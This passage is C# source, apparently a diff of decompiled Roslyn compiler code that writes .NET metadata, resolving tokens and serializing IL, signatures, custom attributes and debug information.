(buffer[pos + 3] << 24); + } + + private EntityHandle GetHandle(object reference) + { + if (!(reference is ITypeReference typeReference)) + { + if (!(reference is IFieldReference fieldReference)) + { + if (!(reference is IMethodReference methodReference)) + { + if (reference is ISignature signature) + { + return GetStandaloneSignatureHandle(signature); + } + throw ExceptionUtilities.UnexpectedValue(reference); + } + return GetMethodHandle(methodReference); + } + return GetFieldHandle(fieldReference); + } + return GetTypeHandle(typeReference); + } + + private EntityHandle ResolveEntityHandleFromPseudoToken(int pseudoSymbolToken) + { + object obj = _pseudoSymbolTokenToReferenceMap[pseudoSymbolToken]; + if (obj != null) + { + if (obj is IReference reference) + { + _referenceVisitor.VisitMethodBodyReference(reference); + } + else if (obj is ISignature signature) + { + _referenceVisitor.VisitSignature(signature); + } + EntityHandle handle = GetHandle(obj); + _pseudoSymbolTokenToTokenMap[pseudoSymbolToken] = handle; + _pseudoSymbolTokenToReferenceMap[pseudoSymbolToken] = null; + return handle; + } + return _pseudoSymbolTokenToTokenMap[pseudoSymbolToken]; + } + + private UserStringHandle ResolveUserStringHandleFromPseudoToken(int pseudoStringToken) + { + string text = _pseudoStringTokenToStringMap[pseudoStringToken]; + if (text != null) + { + UserStringHandle orAddUserString = GetOrAddUserString(text); + _pseudoStringTokenToTokenMap[pseudoStringToken] = orAddUserString; + _pseudoStringTokenToStringMap[pseudoStringToken] = null; + return orAddUserString; + } + return _pseudoStringTokenToTokenMap[pseudoStringToken]; + } + + private UserStringHandle GetOrAddUserString(string str) + { + if (!_userStringTokenOverflow) + { + try + { + return metadata.GetOrAddUserString(str); + } + catch (ImageFormatLimitationException) + { + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_TooManyUserStrings, NoLocation.Singleton)); + _userStringTokenOverflow = true; + } + } + return default(UserStringHandle); + } + + private ReservedBlob ReserveUserString(int length) + { + if (!_userStringTokenOverflow) + { + try + { + return metadata.ReserveUserString(length); + } + catch (ImageFormatLimitationException) + { + Context.Diagnostics.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_TooManyUserStrings, NoLocation.Singleton)); + _userStringTokenOverflow = true; + } + } + return default(ReservedBlob); + } + + public static uint GetRawToken(RawTokenEncoding encoding, uint pseudoToken) + { + return ((uint)encoding << 24) | pseudoToken; + } + + private void WriteInstructions(Blob finalIL, ImmutableArray generatedIL, ref UserStringHandle mvidStringHandle, ref Blob mvidStringFixup) + { + BlobWriter blobWriter = new BlobWriter(finalIL); + blobWriter.WriteBytes(generatedIL); + blobWriter.Offset = 0; + int position = 0; + while (position < generatedIL.Length) + { + OperandType operandType = InstructionOperandTypes.ReadOperandType(generatedIL, ref position); + switch (operandType) + { + case OperandType.InlineField: + case OperandType.InlineMethod: + case OperandType.InlineSig: + case OperandType.InlineTok: + case OperandType.InlineType: + { + int num3 = ReadInt32(generatedIL, position); + int num4 = 0; + if (operandType == OperandType.InlineTok) + { + RawTokenEncoding rawTokenEncoding = (RawTokenEncoding)(num3 >> 24); + if (rawTokenEncoding != RawTokenEncoding.None && num3 != -1) + { + blobWriter.Offset = position - 1; + blobWriter.WriteByte(32); + num4 = rawTokenEncoding switch + { + RawTokenEncoding.RowId => MetadataTokens.GetRowNumber(ResolveEntityHandleFromPseudoToken(num3 & 0xFFFFFF)), + RawTokenEncoding.LiftedVariableId => MetadataTokens.GetRowNumber(ResolveEntityHandleFromPseudoToken(num3 & 0xFFFFFF)) + 65536, + RawTokenEncoding.GreatestMethodDefinitionRowId => GreatestMethodDefIndex, + RawTokenEncoding.DocumentRowId => _dynamicAnalysisDataWriterOpt.GetOrAddDocument(module.GetSourceDocumentFromIndex((uint)(num3 & 0xFFFFFF))), + _ => throw ExceptionUtilities.UnexpectedValue(rawTokenEncoding), + }; + } + } + blobWriter.Offset = position; + blobWriter.WriteInt32((num4 == 0) ? MetadataTokens.GetToken(ResolveEntityHandleFromPseudoToken(num3)) : num4); + position += 4; + break; + } + case OperandType.InlineString: + { + blobWriter.Offset = position; + int num2 = ReadInt32(generatedIL, position); + UserStringHandle userStringHandle; + if (num2 == int.MinValue) + { + if (mvidStringHandle.IsNil) + { + ReservedBlob reservedBlob = ReserveUserString(36); + mvidStringHandle = reservedBlob.Handle; + mvidStringFixup = reservedBlob.Content; + } + userStringHandle = mvidStringHandle; + } + else + { + userStringHandle = ResolveUserStringHandleFromPseudoToken(num2); + } + blobWriter.WriteInt32(MetadataTokens.GetToken(userStringHandle)); + position += 4; + break; + } + case OperandType.InlineBrTarget: + case OperandType.InlineI: + case OperandType.ShortInlineR: + position += 4; + break; + case OperandType.InlineSwitch: + { + int num = ReadInt32(generatedIL, position); + position += (num + 1) * 4; + break; + } + case OperandType.InlineI8: + case OperandType.InlineR: + position += 8; + break; + case OperandType.InlineVar: + position += 2; + break; + case OperandType.ShortInlineBrTarget: + case OperandType.ShortInlineI: + case OperandType.ShortInlineVar: + position++; + break; + default: + throw ExceptionUtilities.UnexpectedValue(operandType); + case OperandType.InlineNone: + break; + } + } + } + + private void SerializeMethodBodyExceptionHandlerTable(ExceptionRegionEncoder encoder, ImmutableArray regions) + { + ImmutableArray.Enumerator enumerator = regions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExceptionHandlerRegion current = enumerator.Current; + ITypeReference exceptionType = current.ExceptionType; + encoder.Add(current.HandlerKind, current.TryStartOffset, current.TryLength, current.HandlerStartOffset, current.HandlerLength, (exceptionType != null) ? GetTypeHandle(exceptionType) : default(EntityHandle), current.FilterDecisionStartOffset); + } + } + + private static bool MayUseSmallExceptionHeaders(ImmutableArray exceptionRegions) + { + if (!ExceptionRegionEncoder.IsSmallRegionCount(exceptionRegions.Length)) + { + return false; + } + ImmutableArray.Enumerator enumerator = exceptionRegions.GetEnumerator(); + while (enumerator.MoveNext()) + { + ExceptionHandlerRegion current = enumerator.Current; + if (!ExceptionRegionEncoder.IsSmallExceptionRegion(current.TryStartOffset, current.TryLength) || !ExceptionRegionEncoder.IsSmallExceptionRegion(current.HandlerStartOffset, current.HandlerLength)) + { + return false; + } + } + return true; + } + + private void SerializeParameterInformation(ParameterTypeEncoder encoder, IParameterTypeInformation parameterTypeInformation) + { + ITypeReference type = parameterTypeInformation.GetType(Context); + SerializeCustomModifiers(encoder.CustomModifiers(), parameterTypeInformation.RefCustomModifiers); + SignatureTypeEncoder encoder2 = encoder.Type(parameterTypeInformation.IsByReference); + SerializeCustomModifiers(encoder2.CustomModifiers(), parameterTypeInformation.CustomModifiers); + SerializeTypeReference(encoder2, type); + } + + private void SerializeFieldSignature(IFieldReference fieldReference, BlobBuilder builder) + { + SignatureTypeEncoder encoder = new BlobEncoder(builder).FieldSignature(); + SerializeCustomModifiers(new CustomModifiersEncoder(builder), fieldReference.RefCustomModifiers); + if (fieldReference.IsByReference) + { + encoder.Builder.WriteByte(16); + } + SerializeTypeReference(encoder, fieldReference.GetType(Context)); + } + + private void SerializeMethodSpecificationSignature(BlobBuilder builder, IGenericMethodInstanceReference genericMethodInstanceReference) + { + GenericTypeArgumentsEncoder genericTypeArgumentsEncoder = new BlobEncoder(builder).MethodSpecificationSignature(genericMethodInstanceReference.GetGenericMethod(Context).GenericParameterCount); + foreach (ITypeReference genericArgument in genericMethodInstanceReference.GetGenericArguments(Context)) + { + SerializeTypeReference(genericTypeArgumentsEncoder.AddArgument(), genericArgument); + } + } + + private EmitContext GetEmitContextForAttribute(ICustomAttribute customAttribute) + { + if (customAttribute is AttributeData attributeData) + { + SyntaxReference applicationSyntaxReference = attributeData.ApplicationSyntaxReference; + if (applicationSyntaxReference != null) + { + return new EmitContext(Context.Module, Context.Diagnostics, Context.MetadataOnly, Context.IncludePrivateMembers, null, Context.RebuildData, applicationSyntaxReference); + } + } + return Context; + } + + private void SerializeCustomAttributeSignature(ICustomAttribute customAttribute, BlobBuilder builder) + { + ImmutableArray parameters = customAttribute.Constructor(Context, reportDiagnostics: false).GetParameters(Context); + ImmutableArray arguments = customAttribute.GetArguments(Context); + new BlobEncoder(builder).CustomAttributeSignature(out var fixedArguments, out var namedArguments); + EmitContext context = GetEmitContextForAttribute(customAttribute); + for (int i = 0; i < parameters.Length; i++) + { + SerializeMetadataExpression(in context, fixedArguments.AddArgument(), arguments[i], parameters[i].GetType(Context)); + } + SerializeCustomAttributeNamedArguments(in context, namedArguments.Count(customAttribute.NamedArgumentCount), customAttribute); + } + + private void SerializeCustomAttributeNamedArguments(in EmitContext context, NamedArgumentsEncoder encoder, ICustomAttribute customAttribute) + { + ImmutableArray.Enumerator enumerator = customAttribute.GetNamedArguments(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + IMetadataNamedArgument current = enumerator.Current; + encoder.AddArgument(current.IsField, out var type, out var name, out var literal); + SerializeNamedArgumentType(in context, type, current.Type); + name.Name(current.ArgumentName); + SerializeMetadataExpression(in context, literal, current.ArgumentValue, current.Type); + } + } + + private void SerializeNamedArgumentType(in EmitContext context, NamedArgumentTypeEncoder encoder, ITypeReference type) + { + if (type is IArrayTypeReference arrayTypeReference) + { + SerializeCustomAttributeArrayType(in context, encoder.SZArray(), arrayTypeReference); + } + else if (module.IsPlatformType(type, PlatformType.SystemObject)) + { + encoder.Object(); + } + else + { + SerializeCustomAttributeElementType(in context, encoder.ScalarType(), type); + } + } + + private void SerializeMetadataExpression(in EmitContext context, LiteralEncoder encoder, IMetadataExpression expression, ITypeReference targetType) + { + if (expression is MetadataCreateArray metadataCreateArray) + { + VectorEncoder vector; + ITypeReference elementType; + if (!(targetType is IArrayTypeReference arrayTypeReference)) + { + encoder.TaggedVector(out var arrayType, out vector); + SerializeCustomAttributeArrayType(in context, arrayType, metadataCreateArray.ArrayType); + elementType = metadataCreateArray.ElementType; + } + else + { + vector = encoder.Vector(); + elementType = arrayTypeReference.GetElementType(Context); + } + LiteralsEncoder literalsEncoder = vector.Count(metadataCreateArray.Elements.Length); + ImmutableArray.Enumerator enumerator = metadataCreateArray.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + IMetadataExpression current = enumerator.Current; + SerializeMetadataExpression(in context, literalsEncoder.AddLiteral(), current, elementType); + } + return; + } + MetadataConstant metadataConstant = expression as MetadataConstant; + ScalarEncoder scalar; + if (module.IsPlatformType(targetType, PlatformType.SystemObject)) + { + encoder.TaggedScalar(out var type, out scalar); + if (metadataConstant != null && metadataConstant.Value == null && module.IsPlatformType(metadataConstant.Type, PlatformType.SystemObject)) + { + type.String(); + } + else + { + SerializeCustomAttributeElementType(in context, type, expression.Type); + } + } + else + { + scalar = encoder.Scalar(); + } + if (metadataConstant != null) + { + if (metadataConstant.Type is IArrayTypeReference) + { + scalar.NullArray(); + } + else + { + scalar.Constant(metadataConstant.Value); + } + } + else + { + scalar.SystemType(((MetadataTypeOf)expression).TypeToGet.GetSerializedTypeName(context)); + } + } + + private void SerializeMarshallingDescriptor(IMarshallingInformation marshallingInformation, BlobBuilder writer) + { + writer.WriteCompressedInteger((int)marshallingInformation.UnmanagedType); + switch (marshallingInformation.UnmanagedType) + { + case UnmanagedType.ByValArray: + writer.WriteCompressedInteger(marshallingInformation.NumberOfElements); + if (marshallingInformation.ElementType >= (UnmanagedType)0) + { + writer.WriteCompressedInteger((int)marshallingInformation.ElementType); + } + break; + case UnmanagedType.CustomMarshaler: + { + writer.WriteUInt16(0); + object customMarshaller = marshallingInformation.GetCustomMarshaller(Context); + if (!(customMarshaller is ITypeReference typeReference)) + { + if (customMarshaller == null) + { + writer.WriteByte(0); + } + else + { + writer.WriteSerializedString((string)customMarshaller); + } + } + else + { + SerializeTypeName(typeReference, writer); + } + string customMarshallerRuntimeArgument = marshallingInformation.CustomMarshallerRuntimeArgument; + if (customMarshallerRuntimeArgument != null) + { + writer.WriteSerializedString(customMarshallerRuntimeArgument); + } + else + { + writer.WriteByte(0); + } + break; + } + case UnmanagedType.LPArray: + writer.WriteCompressedInteger((int)marshallingInformation.ElementType); + if (marshallingInformation.ParamIndex >= 0) + { + writer.WriteCompressedInteger(marshallingInformation.ParamIndex); + if (marshallingInformation.NumberOfElements >= 0) + { + writer.WriteCompressedInteger(marshallingInformation.NumberOfElements); + writer.WriteByte(1); + } + } + else if (marshallingInformation.NumberOfElements >= 0) + { + writer.WriteByte(0); + writer.WriteCompressedInteger(marshallingInformation.NumberOfElements); + writer.WriteByte(0); + } + break; + case UnmanagedType.SafeArray: + if (marshallingInformation.SafeArrayElementSubtype >= VarEnum.VT_EMPTY) + { + writer.WriteCompressedInteger((int)marshallingInformation.SafeArrayElementSubtype); + ITypeReference safeArrayElementUserDefinedSubtype = marshallingInformation.GetSafeArrayElementUserDefinedSubtype(Context); + if (safeArrayElementUserDefinedSubtype != null) + { + SerializeTypeName(safeArrayElementUserDefinedSubtype, writer); + } + } + break; + case UnmanagedType.ByValTStr: + writer.WriteCompressedInteger(marshallingInformation.NumberOfElements); + break; + case UnmanagedType.IUnknown: + case UnmanagedType.IDispatch: + case UnmanagedType.Interface: + if (marshallingInformation.IidParameterIndex >= 0) + { + writer.WriteCompressedInteger(marshallingInformation.IidParameterIndex); + } + break; + } + } + + private void SerializeTypeName(ITypeReference typeReference, BlobBuilder writer) + { + writer.WriteSerializedString(typeReference.GetSerializedTypeName(Context)); + } + + internal static string StrongName(IAssemblyReference assemblyReference) + { + AssemblyIdentity identity = assemblyReference.Identity; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(identity.Name); + builder.AppendFormat(CultureInfo.InvariantCulture, ", Version={0}.{1}.{2}.{3}", new object[4] + { + identity.Version.Major, + identity.Version.Minor, + identity.Version.Build, + identity.Version.Revision + }); + if (!string.IsNullOrEmpty(identity.CultureName)) + { + builder.AppendFormat(CultureInfo.InvariantCulture, ", Culture={0}", identity.CultureName); + } + else + { + builder.Append(", Culture=neutral"); + } + builder.Append(", PublicKeyToken="); + if (identity.PublicKeyToken.Length > 0) + { + ImmutableArray.Enumerator enumerator = identity.PublicKeyToken.GetEnumerator(); + while (enumerator.MoveNext()) + { + builder.Append(enumerator.Current.ToString("x2")); + } + } + else + { + builder.Append("null"); + } + if (identity.IsRetargetable) + { + builder.Append(", Retargetable=Yes"); + } + if (identity.ContentType == AssemblyContentType.WindowsRuntime) + { + builder.Append(", ContentType=WindowsRuntime"); + } + return instance.ToStringAndFree(); + } + + private void SerializePermissionSet(ImmutableArray permissionSet, BlobBuilder writer) + { + EmitContext context = Context; + ImmutableArray.Enumerator enumerator = permissionSet.GetEnumerator(); + while (enumerator.MoveNext()) + { + ICustomAttribute current = enumerator.Current; + bool isAssemblyQualified = true; + string text = current.GetType(context).GetSerializedTypeName(context, ref isAssemblyQualified); + if (!isAssemblyQualified && current.GetType(context).AsNamespaceTypeReference?.GetUnit(context) is IAssemblyReference assemblyReference) + { + text = text + ", " + StrongName(assemblyReference); + } + writer.WriteSerializedString(text); + PooledBlobBuilder instance = PooledBlobBuilder.GetInstance(); + NamedArgumentsEncoder encoder = new BlobEncoder(instance).PermissionSetArguments(current.NamedArgumentCount); + SerializeCustomAttributeNamedArguments(GetEmitContextForAttribute(current), encoder, current); + writer.WriteCompressedInteger(instance.Count); + instance.WriteContentTo(writer); + instance.Free(); + } + } + + private void SerializeReturnValueAndParameters(MethodSignatureEncoder encoder, ISignature signature, ImmutableArray varargParameters) + { + ImmutableArray parameters = signature.GetParameters(Context); + ITypeReference type = signature.GetType(Context); + encoder.Parameters(parameters.Length + varargParameters.Length, out var returnType, out var parameters2); + if (module.IsPlatformType(type, PlatformType.SystemVoid)) + { + SerializeCustomModifiers(returnType.CustomModifiers(), signature.ReturnValueCustomModifiers); + returnType.Void(); + } + else + { + SerializeCustomModifiers(returnType.CustomModifiers(), signature.RefCustomModifiers); + SignatureTypeEncoder encoder2 = returnType.Type(signature.ReturnValueIsByRef); + SerializeCustomModifiers(encoder2.CustomModifiers(), signature.ReturnValueCustomModifiers); + SerializeTypeReference(encoder2, type); + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current = enumerator.Current; + SerializeParameterInformation(parameters2.AddParameter(), current); + } + if (varargParameters.Length > 0) + { + parameters2 = parameters2.StartVarArgs(); + enumerator = varargParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current2 = enumerator.Current; + SerializeParameterInformation(parameters2.AddParameter(), current2); + } + } + } + + private void SerializeTypeReference(SignatureTypeEncoder encoder, ITypeReference typeReference) + { + while (true) + { + if (module.IsPlatformType(typeReference, PlatformType.SystemTypedReference)) + { + encoder.Builder.WriteByte(22); + return; + } + if (typeReference is IModifiedTypeReference modifiedTypeReference) + { + SerializeCustomModifiers(encoder.CustomModifiers(), modifiedTypeReference.CustomModifiers); + typeReference = modifiedTypeReference.UnmodifiedType; + continue; + } + PrimitiveTypeCode typeCode = typeReference.TypeCode; + if (typeCode != PrimitiveTypeCode.Pointer && (uint)(typeCode - 18) > 1u) + { + SerializePrimitiveType(encoder, typeCode); + return; + } + if (typeReference is IPointerTypeReference pointerTypeReference) + { + typeReference = pointerTypeReference.GetTargetType(Context); + encoder = encoder.Pointer(); + continue; + } + if (typeReference is IFunctionPointerTypeReference functionPointerTypeReference) + { + ISignature signature = functionPointerTypeReference.Signature; + MethodSignatureEncoder encoder2 = encoder.FunctionPointer(signature.CallingConvention.ToSignatureConvention()); + SerializeReturnValueAndParameters(encoder2, signature, ImmutableArray.Empty); + return; + } + IGenericTypeParameterReference asGenericTypeParameterReference = typeReference.AsGenericTypeParameterReference; + if (asGenericTypeParameterReference != null) + { + encoder.GenericTypeParameter(GetNumberOfInheritedTypeParameters(asGenericTypeParameterReference.DefiningType) + asGenericTypeParameterReference.Index); + return; + } + if (!(typeReference is IArrayTypeReference arrayTypeReference)) + { + break; + } + typeReference = arrayTypeReference.GetElementType(Context); + if (arrayTypeReference.IsSZArray) + { + encoder = encoder.SZArray(); + continue; + } + encoder.Array(out var elementType, out var arrayShape); + SerializeTypeReference(elementType, typeReference); + arrayShape.Shape(arrayTypeReference.Rank, arrayTypeReference.Sizes, arrayTypeReference.LowerBounds); + return; + } + if (module.IsPlatformType(typeReference, PlatformType.SystemObject)) + { + encoder.Object(); + return; + } + IGenericMethodParameterReference asGenericMethodParameterReference = typeReference.AsGenericMethodParameterReference; + if (asGenericMethodParameterReference != null) + { + encoder.GenericMethodTypeParameter(asGenericMethodParameterReference.Index); + } + else if (typeReference.IsTypeSpecification()) + { + ITypeReference uninstantiatedGenericType = typeReference.GetUninstantiatedGenericType(Context); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + typeReference.GetConsolidatedTypeArguments(instance, Context); + GenericTypeArgumentsEncoder genericTypeArgumentsEncoder = encoder.GenericInstantiation(GetTypeHandle(uninstantiatedGenericType, treatRefAsPotentialTypeSpec: false), instance.Count, typeReference.IsValueType); + ArrayBuilder.Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + ITypeReference current = enumerator.Current; + SerializeTypeReference(genericTypeArgumentsEncoder.AddArgument(), current); + } + instance.Free(); + } + else + { + encoder.Type(GetTypeHandle(typeReference), typeReference.IsValueType); + } + } + + private static void SerializePrimitiveType(SignatureTypeEncoder encoder, PrimitiveTypeCode primitiveType) + { + switch (primitiveType) + { + case PrimitiveTypeCode.Boolean: + encoder.Boolean(); + break; + case PrimitiveTypeCode.UInt8: + encoder.Byte(); + break; + case PrimitiveTypeCode.Int8: + encoder.SByte(); + break; + case PrimitiveTypeCode.Char: + encoder.Char(); + break; + case PrimitiveTypeCode.Int16: + encoder.Int16(); + break; + case PrimitiveTypeCode.UInt16: + encoder.UInt16(); + break; + case PrimitiveTypeCode.Int32: + encoder.Int32(); + break; + case PrimitiveTypeCode.UInt32: + encoder.UInt32(); + break; + case PrimitiveTypeCode.Int64: + encoder.Int64(); + break; + case PrimitiveTypeCode.UInt64: + encoder.UInt64(); + break; + case PrimitiveTypeCode.Float32: + encoder.Single(); + break; + case PrimitiveTypeCode.Float64: + encoder.Double(); + break; + case PrimitiveTypeCode.IntPtr: + encoder.IntPtr(); + break; + case PrimitiveTypeCode.UIntPtr: + encoder.UIntPtr(); + break; + case PrimitiveTypeCode.String: + encoder.String(); + break; + case PrimitiveTypeCode.Void: + encoder.Builder.WriteByte(1); + break; + default: + throw ExceptionUtilities.UnexpectedValue(primitiveType); + } + } + + private void SerializeCustomAttributeArrayType(in EmitContext context, CustomAttributeArrayTypeEncoder encoder, IArrayTypeReference arrayTypeReference) + { + ITypeReference elementType = arrayTypeReference.GetElementType(Context); + if (module.IsPlatformType(elementType, PlatformType.SystemObject)) + { + encoder.ObjectArray(); + } + else + { + SerializeCustomAttributeElementType(in context, encoder.ElementType(), elementType); + } + } + + private void SerializeCustomAttributeElementType(in EmitContext context, CustomAttributeElementTypeEncoder encoder, ITypeReference typeReference) + { + PrimitiveTypeCode typeCode = typeReference.TypeCode; + if (typeCode != PrimitiveTypeCode.NotPrimitive) + { + SerializePrimitiveType(encoder, typeCode); + } + else if (module.IsPlatformType(typeReference, PlatformType.SystemType)) + { + encoder.SystemType(); + } + else + { + encoder.Enum(typeReference.GetSerializedTypeName(context)); + } + } + + private static void SerializePrimitiveType(CustomAttributeElementTypeEncoder encoder, PrimitiveTypeCode primitiveType) + { + switch (primitiveType) + { + case PrimitiveTypeCode.Boolean: + encoder.Boolean(); + break; + case PrimitiveTypeCode.UInt8: + encoder.Byte(); + break; + case PrimitiveTypeCode.Int8: + encoder.SByte(); + break; + case PrimitiveTypeCode.Char: + encoder.Char(); + break; + case PrimitiveTypeCode.Int16: + encoder.Int16(); + break; + case PrimitiveTypeCode.UInt16: + encoder.UInt16(); + break; + case PrimitiveTypeCode.Int32: + encoder.Int32(); + break; + case PrimitiveTypeCode.UInt32: + encoder.UInt32(); + break; + case PrimitiveTypeCode.Int64: + encoder.Int64(); + break; + case PrimitiveTypeCode.UInt64: + encoder.UInt64(); + break; + case PrimitiveTypeCode.Float32: + encoder.Single(); + break; + case PrimitiveTypeCode.Float64: + encoder.Double(); + break; + case PrimitiveTypeCode.String: + encoder.String(); + break; + default: + throw ExceptionUtilities.UnexpectedValue(primitiveType); + } + } + + private void SerializeCustomModifiers(CustomModifiersEncoder encoder, ImmutableArray modifiers) + { + ImmutableArray.Enumerator enumerator = modifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + ICustomModifier current = enumerator.Current; + encoder = encoder.AddModifier(GetTypeHandle(current.GetModifier(Context)), current.IsOptional); + } + } + + private int GetNumberOfInheritedTypeParameters(ITypeReference type) + { + INestedTypeReference nestedTypeReference = type.AsNestedTypeReference; + if (nestedTypeReference == null) + { + return 0; + } + ISpecializedNestedTypeReference asSpecializedNestedTypeReference = nestedTypeReference.AsSpecializedNestedTypeReference; + if (asSpecializedNestedTypeReference != null) + { + nestedTypeReference = asSpecializedNestedTypeReference.GetUnspecializedVersion(Context); + } + int num = 0; + type = nestedTypeReference.GetContainingType(Context); + for (nestedTypeReference = type.AsNestedTypeReference; nestedTypeReference != null; nestedTypeReference = type.AsNestedTypeReference) + { + num += nestedTypeReference.GenericParameterCount; + type = nestedTypeReference.GetContainingType(Context); + } + return num + type.AsNamespaceTypeReference.GenericParameterCount; + } + + internal static EditAndContinueMethodDebugInformation GetEncMethodDebugInfo(IMethodBody methodBody) + { + ImmutableArray stateMachineHoistedLocalSlots = methodBody.StateMachineHoistedLocalSlots; + return new EditAndContinueMethodDebugInformation(localSlots: (!stateMachineHoistedLocalSlots.IsDefault) ? GetLocalSlotDebugInfos(stateMachineHoistedLocalSlots) : GetLocalSlotDebugInfos(methodBody.LocalVariables), methodOrdinal: methodBody.MethodId.Ordinal, closures: methodBody.ClosureDebugInfo, lambdas: methodBody.LambdaDebugInfo, stateMachineStates: methodBody.StateMachineStatesDebugInfo.States); + } + + internal static ImmutableArray GetLocalSlotDebugInfos(ImmutableArray locals) + { + if (!locals.Any((ILocalDefinition variable) => !variable.SlotInfo.Id.IsNone)) + { + return ImmutableArray.Empty; + } + return locals.SelectAsArray((ILocalDefinition variable) => variable.SlotInfo); + } + + internal static ImmutableArray GetLocalSlotDebugInfos(ImmutableArray locals) + { + if (!locals.Any((EncHoistedLocalInfo variable) => !variable.SlotInfo.Id.IsNone)) + { + return ImmutableArray.Empty; + } + return locals.SelectAsArray((EncHoistedLocalInfo variable) => variable.SlotInfo); + } + + private void SerializeMethodDebugInfo(IMethodBody bodyOpt, int methodRid, int aggregateMethodRid, StandaloneSignatureHandle localSignatureHandleOpt, ref LocalVariableHandle lastLocalVariableHandle, ref LocalConstantHandle lastLocalConstantHandle) + { + if (bodyOpt == null) + { + _debugMetadataOpt.AddMethodDebugInformation(default(DocumentHandle), default(BlobHandle)); + return; + } + bool num = bodyOpt.StateMachineTypeName != null || !bodyOpt.SequencePoints.IsEmpty; + MethodDefinitionHandle methodDefinitionHandle = MetadataTokens.MethodDefinitionHandle(methodRid); + DocumentHandle singleDocumentHandle; + BlobHandle sequencePoints = SerializeSequencePoints(localSignatureHandleOpt, bodyOpt.SequencePoints, _documentIndex, out singleDocumentHandle); + _debugMetadataOpt.AddMethodDebugInformation(singleDocumentHandle, sequencePoints); + if (num) + { + IImportScope importScope = bodyOpt.ImportScope; + ImportScopeHandle importScope2 = ((importScope != null) ? GetImportScopeIndex(importScope, _scopeIndex) : default(ImportScopeHandle)); + if (bodyOpt.LocalScopes.Length == 0) + { + _debugMetadataOpt.AddLocalScope(methodDefinitionHandle, importScope2, NextHandle(lastLocalVariableHandle), NextHandle(lastLocalConstantHandle), 0, bodyOpt.IL.Length); + } + else + { + ImmutableArray.Enumerator enumerator = bodyOpt.LocalScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalScope current = enumerator.Current; + _debugMetadataOpt.AddLocalScope(methodDefinitionHandle, importScope2, NextHandle(lastLocalVariableHandle), NextHandle(lastLocalConstantHandle), current.StartOffset, current.Length); + ImmutableArray.Enumerator enumerator2 = current.Variables.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ILocalDefinition current2 = enumerator2.Current; + lastLocalVariableHandle = _debugMetadataOpt.AddLocalVariable(current2.PdbAttributes, current2.SlotIndex, _debugMetadataOpt.GetOrAddString(current2.Name)); + SerializeLocalInfo(current2, lastLocalVariableHandle); + } + enumerator2 = current.Constants.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ILocalDefinition current3 = enumerator2.Current; + _ = current3.CompileTimeValue; + lastLocalConstantHandle = _debugMetadataOpt.AddLocalConstant(_debugMetadataOpt.GetOrAddString(current3.Name), SerializeLocalConstantSignature(current3)); + SerializeLocalInfo(current3, lastLocalConstantHandle); + } + } + } + StateMachineMoveNextBodyDebugInfo moveNextBodyInfo = bodyOpt.MoveNextBodyInfo; + if (moveNextBodyInfo != null) + { + _debugMetadataOpt.AddStateMachineMethod(methodDefinitionHandle, GetMethodDefinitionHandle(moveNextBodyInfo.KickoffMethod)); + if (moveNextBodyInfo is AsyncMoveNextBodyDebugInfo asyncInfo) + { + SerializeAsyncMethodSteppingInfo(asyncInfo, methodDefinitionHandle, aggregateMethodRid); + } + } + if (bodyOpt.IsPrimaryConstructor) + { + _debugMetadataOpt.AddCustomDebugInformation(methodDefinitionHandle, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.PrimaryConstructorInformationBlob), default(BlobHandle)); + } + SerializeStateMachineLocalScopes(bodyOpt, methodDefinitionHandle); + } + if (Context.Module.CommonCompilation.Options.EnableEditAndContinue && IsFullMetadata) + { + SerializeEncMethodDebugInformation(bodyOpt, methodDefinitionHandle); + } + } + + private static LocalVariableHandle NextHandle(LocalVariableHandle handle) + { + return MetadataTokens.LocalVariableHandle(MetadataTokens.GetRowNumber(handle) + 1); + } + + private static LocalConstantHandle NextHandle(LocalConstantHandle handle) + { + return MetadataTokens.LocalConstantHandle(MetadataTokens.GetRowNumber(handle) + 1); + } + + private BlobHandle SerializeLocalConstantSignature(ILocalDefinition localConstant) + { + BlobBuilder blobBuilder = new BlobBuilder(); + CustomModifiersEncoder encoder = new CustomModifiersEncoder(blobBuilder); + SerializeCustomModifiers(encoder, localConstant.CustomModifiers); + ITypeReference type = localConstant.Type; + PrimitiveTypeCode typeCode = type.TypeCode; + object value = localConstant.CompileTimeValue.Value; + if (value is decimal) + { + blobBuilder.WriteByte(17); + blobBuilder.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(GetTypeHandle(type))); + blobBuilder.WriteDecimal((decimal)value); + } + else if (value is DateTime) + { + blobBuilder.WriteByte(17); + blobBuilder.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(GetTypeHandle(type))); + blobBuilder.WriteDateTime((DateTime)value); + } + else if (typeCode == PrimitiveTypeCode.String) + { + blobBuilder.WriteByte(14); + if (value == null) + { + blobBuilder.WriteByte(byte.MaxValue); + } + else + { + blobBuilder.WriteUTF16((string)value); + } + } + else if (value != null) + { + blobBuilder.WriteByte((byte)GetConstantTypeCode(value)); + blobBuilder.WriteConstant(value); + if (type.IsEnum) + { + blobBuilder.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(GetTypeHandle(type))); + } + } + else if (module.IsPlatformType(type, PlatformType.SystemObject)) + { + blobBuilder.WriteByte(28); + } + else + { + blobBuilder.WriteByte((byte)(type.IsValueType ? 17 : 18)); + blobBuilder.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(GetTypeHandle(type))); + } + return _debugMetadataOpt.GetOrAddBlob(blobBuilder); + } + + private static SignatureTypeCode GetConstantTypeCode(object value) + { + if (value == null) + { + return (SignatureTypeCode)18; + } + if (value.GetType() == typeof(int)) + { + return SignatureTypeCode.Int32; + } + if (value.GetType() == typeof(string)) + { + return SignatureTypeCode.String; + 